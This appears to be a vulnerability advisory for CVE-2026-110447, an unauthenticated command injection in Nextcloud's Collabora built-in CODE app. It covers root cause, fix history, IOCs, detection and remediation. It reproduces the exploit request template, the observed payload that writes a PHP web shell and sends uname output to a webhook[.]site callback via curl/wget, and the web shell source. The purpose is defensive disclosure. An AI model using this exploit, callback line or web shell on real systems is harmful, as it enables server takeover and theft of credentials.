CVE
CVE-2026-110447
CWE
CWE-78
Affected Surface
- Nextcloud app `richdocumentscode` (Collabora Online Built-in CODE Server) versions `< 26.4.303` for `CVE-2026-110447`, with additional `proxy.php` lifecycle, PID, and disablement hardening in `26.4.402` and `26.4.502`
- Self-hosted Nextcloud servers and containers with `richdocumentscode` installed on disk under `apps/richdocumentscode` or `custom_apps/richdocumentscode` (including instances where the app was disabled in the Nextcloud UI but not removed)
- End-of-life Nextcloud 29 and older installations, where the Nextcloud App Store cannot serve `richdocumentscode >= 26.4.303`
TL;DR
On 23 October 2026, CISA added CVE-2026-110447 (CVSS v4.0 9.2 Critical, CWE-78) to its Known Exploited Vulnerabilities (KEV) catalog with a remediation deadline of 26 October 2026. The same day (15:15 UTC), Collabora released richdocumentscode 26.4.502 with a second round of hardening for the standalone proxy.php launcher script.
CVE-2026-110447 affects Collabora Online Built-in CODE Server (richdocumentscode < 26.4.303), the optional Nextcloud app that unpacks and runs a local Collabora_Online.AppImage (coolwsd) on the Nextcloud host itself. Because apps/richdocumentscode/proxy.php is a standalone PHP entrypoint served directly by the web server without loading Nextcloud’s authentication or routing stack, any unauthenticated request to /apps/richdocumentscode/proxy.php?status while coolwsd is stopped (for example after a reboot, container restart, upgrade, or daemon crash) calls startCoolwsd(). In versions up to 26.4.302, startCoolwsd() built a --o:remote_font_config.url= argument from $_SERVER['REQUEST_URI'], wrapped it in single quotes via escapeshellarg(), and then interpolated that single-quoted string inside a double-quoted bash -c "..." command passed to exec(). In /bin/sh, single quotes inside double quotes do not suppress $(...) command substitution.
Attackers have exploited this flaw in the wild since at least 10 September 2026 to write PHP web shells (shx*.php, shrf*.php) into apps/richdocumentscode/, exfiltrate uname -a beacons to webhook[.]site, read Nextcloud config.php database and mail credentials, and search the filesystem for *.kdbx, wallet.dat, keystore.json, Bitwarden, 1Password, and cryptocurrency wallet files.
What to do now:
- Upgrade
richdocumentscodeto26.4.502(or at minimum26.4.303), or remove the app completely from disk (occ app:remove richdocumentscode). Merely disabling the app in Nextcloud on< 26.4.502leavesproxy.phpdirectly reachable over HTTP. - On end-of-life Nextcloud 29 or older, which cannot install
>= 26.4.303, removerichdocumentscodeor upgrade Nextcloud to version 30+. - Inspect
apps/richdocumentscode/andcustom_apps/richdocumentscode/for unexpected.phpfiles (especiallyshx*.phpandshrf*.php), because upgrading the app or runningocc integrity:check-appafter the fact does not undo secrets read by an earlier web shell.
Affected packages and projects
| Ecosystem | Package / component | CVE | Severity | Affected versions | Fixed versions | Notes |
|---|---|---|---|---|---|---|
| Nextcloud App Store / GitHub | richdocumentscode (CollaboraOnline/richdocumentscode) | CVE-2026-110447 | CVSS v4.0 9.2 Critical | < 26.4.303 (confirmed exploited on 26.4.302) | 26.4.303 (initial escape fix), 26.4.402 (proc_open argv rewrite), 26.4.502 (23 Oct 2026 disablement & PID hardening) | Requires Nextcloud 30+. Standalone Collabora Online (coolwsd) servers and the separate richdocuments (Nextcloud Office) connector app are not affected. |
Technical analysis
1. Why escapeshellarg() failed inside startCoolwsd()
Unlike standard Nextcloud controllers, proxy.php at the root of apps/richdocumentscode/ runs without bootstrapping Nextcloud (OC). When a request arrives for proxy.php?status (or when fsockopen("localhost", 9983) fails with ECONNREFUSED), proxy.php checks whether coolwsd is running and, if not, calls startCoolwsd().
In richdocumentscode 26.4.302 (proxy.php lines 81-106 and 121), startCoolwsd() constructed the launch command as follows:
// proxy.php in richdocumentscode <= 26.4.302
$remoteFontConfig = "";
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
{
$remoteFontConfigUrl = escapeshellarg(
"https://" . $_SERVER['HTTP_HOST'] .
preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI'])
);
$remoteFontConfig = "--o:remote_font_config.url=" . $remoteFontConfigUrl;
}
...
$lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);
$launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
...
exec($launchCmd, $output, $return);
Three behaviors combine to turn an unauthenticated GET request into shell execution:
- Path normalization vs.
$_SERVER['REQUEST_URI']: When an attacker sends:
the web server (Apache or nginx) resolves theGET /x$(echo${IFS}<base64>|base64${IFS}-d|sh)x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1/x...x/../dot-segment and routes the request to/apps/richdocumentscode/proxy.php. However, PHP populates$_SERVER['REQUEST_URI']with the raw, un-normalized request target.preg_replace("/richdocumentscode.*$/", ...)only replaces the suffix starting atrichdocumentscode, leaving/x$(...)x/../intact at the start of the path. - Single quotes nested inside double quotes:
escapeshellarg()wraps the URL in single quotes ('https://host/x$(...)x/../richdocuments/settings/fonts.json'). In a top-level shell command, single quotes prevent command substitution. Here, however,$remoteFontConfigis interpolated insidebash -c "( ... $remoteFontConfig ... )", where the entirebash -cscript is enclosed in double quotes. - Outer
/bin/sh -cexpansion beforebashstarts: PHP’sexec($launchCmd)passes$launchCmdto/bin/sh -c. Because the outer/bin/shis parsing a double-quoted string ("( ... '--o:remote_font_config.url=https://.../x$(...)x/...' ... )"), the single quotes added byescapeshellarg()are treated as ordinary literal characters rather than quote delimiters. The outer/bin/shimmediately executes$(...)as the web server user (www-data,apache, ornginx) beforebashor the AppImage is even invoked.
2. What the in-the-wild payload does
In the access logs reported in issue #354, the Base64-encoded command inside $(...) decodes to a two-part shell one-liner:
echo 'PD9waHAgJGM9JF9HRVRbJ2MnXT8/J2lkJzsgZWNobyBzaGVsbF9leGVjKCRjLicgMj4mMScpOw==' | base64 -d > shrf4645.php;
curl -skm 20 "https://webhook[.]site/45060ed4-de0b-4119-8f0d-2a2776bbd413/rf4645.$(uname -a|base64|tr -d '\n'|tr +/ -_|tr -d =)" \
|| wget -q --no-check-certificate -T 20 -O - "https://webhook[.]site/45060ed4-de0b-4119-8f0d-2a2776bbd413/rf4645.$(uname -a|base64|tr -d '\n'|tr +/ -_|tr -d =)" \
|| curl -m 20 "http://webhook[.]site/45060ed4-de0b-4119-8f0d-2a2776bbd413/rf4645.ping" #0
Because the working directory of proxy.php is apps/richdocumentscode/, the base64 -d > shrf4645.php redirect drops a 55-byte PHP web shell directly into the web-accessible app directory:
<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
Once that file is on disk, the attacker no longer depends on coolwsd being stopped or on proxy.php. Subsequent requests hit /apps/richdocumentscode/shrf4645.php?c=... directly. According to the administrator reports in issue #354 and Italy’s CSIRT bulletin (BL02/261016/CSIRT-ITA), operators used the planted shells to read Nextcloud’s config/config.php (exposing database credentials, instanceid, passwordsalt, secret, and SMTP credentials) and to search the host for *.kdbx, wallet.dat, keystore.json, bitwarden, 1password, .bitcoin, .electrum, .monero, and .ethereum.
3. How the fix evolved across 26.4.303, 26.4.402, and 26.4.502
Collabora’s remediation landed in three stages:
26.4.303(11 September 2026, commit6cc8dae54c): Replaced the outer double quotes around thebash -cscript withescapeshellarg($innerCmd):
That stopped- $launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\""; + $innerCmd = "( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown"; + $launchCmd = "bash -c " . escapeshellarg($innerCmd);/bin/shfrom expanding$(...)beforebashran, and insidebash -c, the inner single quotes fromescapeshellarg($remoteFontConfigUrl)were once again real single quotes. However, because26.4.303still read$_SERVER['REQUEST_URI'], an exploit attempt against a patched26.4.303server whilecoolwsdwas stopped still passed the attacker’s string as the literal--o:remote_font_config.url=argument visible inpsoutput.26.4.402(24 September 2026, commits34cbae9d68and06dd6aa620): Switched from$_SERVER['REQUEST_URI']to$_SERVER['SCRIPT_NAME']and replacedexec($launchCmd)with an argv array passed toproc_open():$script = '( "$0" "$@" || "$0" --appimage-extract-and-run "$@" ) >/dev/null & disown'; $launchCmd = array_merge(['bash', '-c', $script, $appImage], $options); $process = proc_open($launchCmd, $devNull, $pipes);26.4.502(23 October 2026, commits813c17158b,54e1e9c515, andc8aadbde2c): Eliminated request-header trust and closed the remaining operational footguns:proxy.phpno longer builds host or font URLs from incoming HTTP request headers at all; instead, Nextcloud writes validated settings toHostFile, andproxy.phprefuses to startcoolwsduntil Nextcloud has written that file.- Disabling the app in Nextcloud (
AppDisableEvent) now unlinks$dataDir/appdata_$instanceId/richdocumentscode/enabled, andproxy.phpchecksHostFile::isDisabled(), stopscoolwsd, and returns HTTP503. coolwsd.pidandcoolwsd.lockare moved out of world-writable/tmpinto the private settings directory (HostFile::directory()), andisCoolwsdPid()verifies that/proc/$pid/commiscoolwsdbefore callingposix_kill().
IOCs
Defanged network and host indicators from confirmed incident reports:
| Type | Indicator | Context |
|---|---|---|
| IPv4 | 139.28.18[.]122 | Source of 10 and 11 September 2026 exploit requests against /apps/richdocumentscode/proxy.php?status |
| IPv4 | 89.38.98[.]50 | Source of 14 September 2026 exploit attempt logged in issue #354 |
| URL | hxxps://webhook[.]site/45060ed4-de0b-4119-8f0d-2a2776bbd413 | Callback endpoint receiving Base64-encoded uname -a output |
| URL | hxxps://webhook[.]site/774cf5e1-b5a4-4174-a1ad-0241861029a2 | Second callback endpoint observed in exploit requests |
| File names | shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php, shxf4645.php, shx13a86.php, shx56367.php | Web shells dropped under apps/richdocumentscode/ or custom_apps/richdocumentscode/ |
| SHA-256 | 4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562 | <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1'); |
Detection and remediation
1. Check for installed richdocumentscode, planted web shells, and access log hits
Run the following checks on every Nextcloud server and container image:
# 1. Check whether richdocumentscode is present on disk and inspect its version
find /var/www /var/snap/nextcloud /opt -path '*/richdocumentscode/appinfo/info.xml' \
-exec grep -H '<version>' {} \; 2>/dev/null
# 2. List all PHP files inside richdocumentscode (legitimate releases only ship proxy.php at the root and files under lib/)
find /var/www /var/snap/nextcloud /opt -path '*/richdocumentscode/*.php' -ls 2>/dev/null
# 3. Hunt specifically for shx*.php / shrf*.php or shell_exec web shells across the Nextcloud tree
find /var/www /var/snap/nextcloud /opt \( -name 'shx*.php' -o -name 'shrf*.php' \) -ls 2>/dev/null
rg -n "shell_exec\\(\\\$c\\.' 2>&1'\\)" /var/www /var/snap/nextcloud 2>/dev/null
# 4. Run Nextcloud's built-in code integrity check
sudo -u www-data php occ integrity:check-app richdocumentscode
# 5. Search web server access logs (including rotated .gz logs) for proxy.php exploit markers or web shell hits
zgrep -E 'richdocumentscode/(proxy|shx|shrf).*\.php|(%2e%2e|\.\./).*richdocumentscode/proxy\.php|\$\(|%24%28|\$\{IFS\}|%24%7bifs%7d' \
/var/log/nginx/*access* /var/log/apache2/*access* /var/log/httpd/*access* 2>/dev/null
2. Upgrade or remove richdocumentscode and rotate exposed secrets
- Upgrade to
26.4.502or remove the app:
Remember that on# Upgrade to the latest patched release (26.4.502) sudo -u www-data php occ app:update richdocumentscode # Or remove the built-in CODE server app completely if not needed sudo -u www-data php occ app:remove richdocumentscode< 26.4.502,occ app:disable richdocumentscodedoes not block direct HTTP requests to/apps/richdocumentscode/proxy.php. - If a web shell or successful exploit request is found, treat the web server user as compromised:
- Preserve forensic copies of any unexpected
.phpfiles and web/auth logs, then rebuild the host or container from a clean image. - Rotate every secret readable by the web server user in
config/config.php, includingdbpassword,mail_smtppassword,secret,passwordsalt, object-storage keys (arguments.key/secret), and user app passwords, and audit database and mail logs for unauthorized access.
- Preserve forensic copies of any unexpected
Timeline
- 2026-08-20: Collabora authors commit
6cc8dae54c(“tidy up how the coolwsd launch command is built”). - 2026-08-31:
richdocumentscode26.4.302is released without commit6cc8dae54c. - 2026-09-10 to 2026-09-11: Administrators log the first in-the-wild exploit requests against
/apps/richdocumentscode/proxy.php?statusfrom139.28.18[.]122, droppingshrf4645.phpandshxa35d0.php, and report the compromises in GitHub issue#354. - 2026-09-11: Collabora releases
richdocumentscode26.4.303containing commit6cc8dae54c. - 2026-09-24: Collabora releases
richdocumentscode26.4.402withSCRIPT_NAMEandproc_open()argv hardening (06dd6aa620). - 2026-10-14:
CVE-2026-110447is published to NVD and the GitHub Advisory Database. - 2026-10-16: Italy’s national CSIRT publishes bulletin
BL02/261016/CSIRT-ITAdetailing post-exploitation theft of Nextcloud configuration secrets. - 2026-10-23: CISA adds
CVE-2026-110447to the Known Exploited Vulnerabilities catalog (remediation due 26 October 2026), and Collabora releasesrichdocumentscode26.4.502with app-disablement, PID verification, andHostFilehardening.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Use AI-native static analysis to find similar application vulnerabilities and generate review-ready fixes.
References
- CISA Known Exploited Vulnerabilities catalog: CVE-2026-110447 (added 23 October 2026)
- NVD: CVE-2026-110447
- CollaboraOnline/richdocumentscode issue #354: administrator compromise reports
- CollaboraOnline/richdocumentscode commit 6cc8dae54c (26.4.303 fix)
- CollaboraOnline/richdocumentscode commit 06dd6aa620 (26.4.402 proc_open rewrite)
- CollaboraOnline/richdocumentscode release 26.4.502 (23 October 2026)
- Nextcloud community warning: To Collabora Built-in User, Update ASAP
- Inception Security: Hunt Nextcloud CVE-2026-110447, the app that ran a shell
- The Hacker News: CISA flags two actively exploited critical flaws in Collabora Online and Arista VeloCloud
- The Hacker News: Hackers backdoor Nextcloud servers through critical flaw in Collabora's Built-in CODE app